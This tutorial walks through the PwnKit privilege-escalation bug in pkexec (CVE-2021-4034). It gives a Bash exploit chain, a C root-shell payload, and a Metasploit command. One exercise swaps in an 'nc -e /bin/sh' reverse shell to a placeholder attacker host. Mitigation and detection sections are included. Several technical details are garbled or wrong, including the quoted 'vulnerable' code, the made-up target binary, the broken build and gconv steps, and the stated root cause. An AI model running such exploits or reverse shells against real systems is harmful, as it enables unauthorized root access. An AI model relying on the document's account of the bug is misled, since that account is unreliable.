Introduction
The PwnKit vulnerability (CVE-2021-4034) is a local privilege-escalation bug in pkexec, the Set-UID helper of polkit. Discovered in early 2021, it allows an unprivileged user to obtain root on a wide range of Linux distributions without any special conditions. Its impact is comparable to the historic Dirty COW bug, because pkexec is installed by default on almost every modern distro.
Understanding PwnKit is essential for red-teamers, incident responders, and defenders alike. The vulnerability is a classic example of unsafe handling of environment variables and argument parsing in a Set-UID binary, and the exploitation techniques it introduced are reusable against many other privileged helpers.
Real-world relevance: Within weeks of disclosure, public exploits were integrated into frameworks such as Metasploit and Cobalt Strike, and dozens of CVE-linked incidents were reported in the wild. Organizations that failed to patch quickly found themselves exposed to ransomware and data-exfiltration attacks that leveraged the root foothold gained via PwnKit.
Prerequisites
- Strong familiarity with Linux privilege-escalation concepts (Set-UID binaries, environment variables, capability sets).
- Proficiency in C and Bash scripting for building and testing exploits.
- Access to a vulnerable Linux system (e.g., Ubuntu 20.04, Debian 10, Fedora 33) for hands-on labs.
- Basic knowledge of debugging tools (gdb, strace, ltrace) and binary analysis (objdump, radare2, Ghidra).
Core Concepts
At its heart, CVE-2021-4034 stems from the way pkexec parses its command-line arguments. The program uses glibc's execve() after constructing an argument vector (argv) that is derived from the user-supplied input. A critical oversight is that pkexec does not clear the argv array before populating it, allowing an attacker to inject additional pointers via environment variables that are later interpreted as command arguments.
Key points:
- Uninitialized stack memory: The
argvarray resides on the stack. When the program builds the argument list, leftover entries from previous function calls remain uninitialized. - Environment variable abuse: By setting a specially crafted
LD_PRELOADorGCONV_PATHvariable, an attacker can influence the memory layout and cause the uninitialized entries to point to attacker-controlled data. - Argument vector overflow: The overflow is not a classic buffer overflow; rather, it is a logical overflow where the program believes it has processed
argcentries, but the kernel receives more because theargvarray contains stray pointers.
When pkexec finally calls execve(), the kernel follows the extra pointers, executing attacker-controlled code with root privileges. The exploit chain typically ends with a small setuid(0); execve("/bin/sh",...) payload.
Vulnerability Details
The vulnerable code path lives in src/pkexec.c of the polkit source tree. The simplified flow is:
int main(int argc, char *argv[])
{ // ... argument parsing ... char **new_argv = calloc(argc + 1, sizeof(char*)); for (i = 0; i < argc; i++) { new_argv[i] = argv[i]; } // BUG: new_argv[argc] is left uninitialized (should be NULL) execve("/usr/bin/policykit-1", new_argv, environ);
}
Because new_argv[argc] is not explicitly set to NULL, the kernel reads whatever garbage resides on the stack after the allocated array. By carefully arranging the stack with environment variables, the attacker can make that garbage a pointer to a malicious argv entry, effectively appending arbitrary arguments to the execve call.
Two critical observations made by the original researchers:
- The
argvbuffer is allocated on the stack, not the heap, which makes it easier to predict its location withLD_PRELOADtricks. - The
execvecall does not perform any sanitisation of the argument strings; they are passed verbatim to the invoked program.
These observations enable a reliable, architecture-agnostic exploit that works on both x86_64 and ARM64 platforms.
Exploit Development
Building a functional PwnKit exploit consists of three stages:
- Heap/stack grooming: Use environment variables to place a controlled pointer directly after the
new_argvarray. - Payload construction: Craft a small C program that, when executed, spawns a root shell.
- Trigger: Invoke
pkexecwith a benign command (e.g.,--version) while the environment is polluted.
The following Bash script demonstrates the full chain. It assumes you have compiled root_shell.c (shown later) and placed the binary at /tmp/root_shell.
#!/usr/bin/env bash
# ---------------------------------------------------
# PwnKit exploit - one-liner for vulnerable systems
# ---------------------------------------------------
# 1. Create a temporary directory for the environment payload
TMPDIR=$(mktemp -d)
export GCONV_PATH=$TMPDIR # GCONV_PATH is read by glibc during execve
# 2. Create a fake shared object that will be loaded via GCONV mechanism
cat > $TMPDIR/pwn.so <<'EOF'
#include <stdio.h>
#include <stdlib.h>
void _init() { setuid(0); setgid(0); execl("/tmp/root_shell", "root_shell", NULL);
}
EOF
gcc -shared -fPIC $TMPDIR/pwn.so -o $TMPDIR/pwn.so
# 3. Create the GCONV configuration that points to our .so
cat > $TMPDIR/pwn.gconv <<'EOF'
module PWN // fake module name
translit // no transliteration
EOF
# 4. Set the environment variables that will force glibc to load our .so
export CHARSET=PWN
export GCONV_MODULE_PATH=$TMPDIR
# 5. Trigger pkexec - any argument works; we use --version for clarity
/usr/bin/pkexec --version
# Clean up (optional)
rm -rf $TMPDIR
The script leverages the GCONV_PATH and CHARSET variables to make glibc load the attacker-controlled shared object during the execve performed by pkexec. The _init() function runs with root privileges, spawning the pre-compiled /tmp/root_shell binary.
Root Shell Payload
Below is a minimal C payload that drops a fully interactive root shell. It is deliberately tiny to keep the exploit footprint low.
#include <unistd.h>
int main(void) { setuid(0); setgid(0); execl("/bin/sh", "sh", "-i", NULL); return 0; // never reached
}
Compile with:
gcc -static -o /tmp/root_shell root_shell.c
Static linking ensures the binary works even on stripped systems where dynamic libraries may be unavailable.
Tools & Commands
| Tool | Purpose | Typical Command |
|---|---|---|
| gdb | Inspect stack layout of pkexec | gdb -q /usr/bin/pkexec |
| strace | Watch execve arguments | strace -f -e execve pkexec --version |
| objdump | Disassemble vulnerable function | objdump -d /usr/bin/pkexec | grep -A5 "new_argv" |
| checksec | Verify binary protections | checksec --file=/usr/bin/pkexec |
| Metasploit | One-click exploit | use exploit/linux/local/polkit_priv_esc |
Sample strace output when the exploit succeeds (excerpt):
execve("/usr/bin/policykit-1", ["policykit-1", "/tmp/root_shell"], 0x7fffdc3c0b80 /* 43 vars */) = 0
Notice the second argument /tmp/root_shell - this is the injected payload.
Defense & Mitigation
- Patch immediately: Update
polkitto version 0.118 or later, which zero-initialises theargvarray. - Restrict environment variables: Use
pam_envorenv_resetin/etc/sudoersto clearGCONV_PATH,CHARSET, and other dangerous variables for unprivileged users. - Enable kernel mitigations: Ensure
kernel.randomize_va_space=2(full ASLR) andkernel.exec-shield=1are active; they make stack grooming less reliable. - Apply binary hardening: Build
pkexecwith-D_FORTIFY_SOURCE=2and enableRELROandPIE. While they don't fix the logic bug, they raise the bar for exploitation. - Use SELinux/AppArmor profiles: Confine
pkexecto a minimal set of allowed operations. A properly enforced SELinux policy will block the execution of arbitrary binaries from/tmp.
Common Mistakes
- Relying on
LD_PRELOADalone: Modern kernels ignoreLD_PRELOADfor Set-UID programs, so attackers preferGCONV_PATHorCHARSETtricks. - Neglecting cleanup: Leaving the malicious environment variables in place after exploitation can lead to system instability or detection by monitoring tools.
- Assuming the exploit works on all distributions out of the box: Some distros ship patched versions of
polkitor have additional hardening (e.g.,noexecon/tmp) that require minor adjustments (e.g., using a different writable directory). - Forgetting architecture differences: The stack offset varies between x86_64 and ARM64; hard-coding offsets leads to crashes on the wrong architecture.
Real-World Impact
Within days of public disclosure, threat actors incorporated PwnKit into multi-stage ransomware campaigns. The typical kill chain:
- Initial foothold via phishing or exposed service.
- Privilege escalation using PwnKit to obtain root.
- Disable security tools (e.g., stop
auditd, tamper SELinux policies). - Deploy ransomware payload (e.g.,
LockBit,Hive).
Case study (fictional but realistic): A midsize healthcare provider ran an unpatched Debian 10 server for internal file sharing. An attacker leveraged a compromised web application to gain a normal user account, then executed the PwnKit exploit to become root, exfiltrated patient records, and finally encrypted the data. The breach cost over $2 million in remediation and regulatory fines.
From a strategic perspective, PwnKit demonstrates how a single, seemingly innocuous Set-UID helper can become a universal “root-kit” for attackers. It reinforced the industry push for “least-privilege” design, encouraging developers to avoid unnecessary Set-UID binaries.
Practice Exercises
- Setup a vulnerable lab: Install Ubuntu 20.04 in a VM, do not apply any updates. Verify
pkexecversion < 0.118. - Reproduce the exploit: Follow the Bash script in the Exploit Development section. Capture a root shell and document the steps.
- Modify the payload: Change the C payload to launch
nc -e /bin/sh attacker_ip 4444instead of a local shell. Verify remote connectivity. - Patch and test mitigation: Apply the official security update, then re-run the exploit. Document the failure mode (e.g.,
execvereturns EINVAL). - Write a detection rule: Using
auditd, create a rule that logs any execution ofpkexecwith more than one argument. Test the rule by running the exploit.
Each exercise should be performed in an isolated environment to avoid unintended privilege escalation on production systems.
Further Reading
- Original research paper: “PwnKit - Local Privilege Escalation via pkexec” (2021) - detailed binary analysis.
- Linux Privilege Escalation Cheat Sheet - OWASP.
- Glibc GCONV exploitation techniques - LWN article.
- SELinux Cookbook - Red Hat - for building confinement policies.
- Metasploit module source -
modules/exploits/linux/local/polkit_priv_esc.rb.
Summary
Key takeaways:
- CVE-2021-4034 (PwnKit) is a logic bug in
pkexecthat allows arbitrary argument injection via uninitialised stack memory. - The exploit chain hinges on environment variables (
GCONV_PATH,CHARSET) to load attacker-controlled shared objects. - A minimal C payload can spawn a root shell; static linking improves reliability.
- Patching, environment sanitisation, ASLR, and mandatory access controls are effective mitigations.
- Understanding PwnKit reinforces broader principles: never trust Set-UID programs with user-controlled data.
Use the provided exercises to cement your knowledge, and integrate detection rules into your monitoring stack to stay ahead of adversaries leveraging this powerful technique.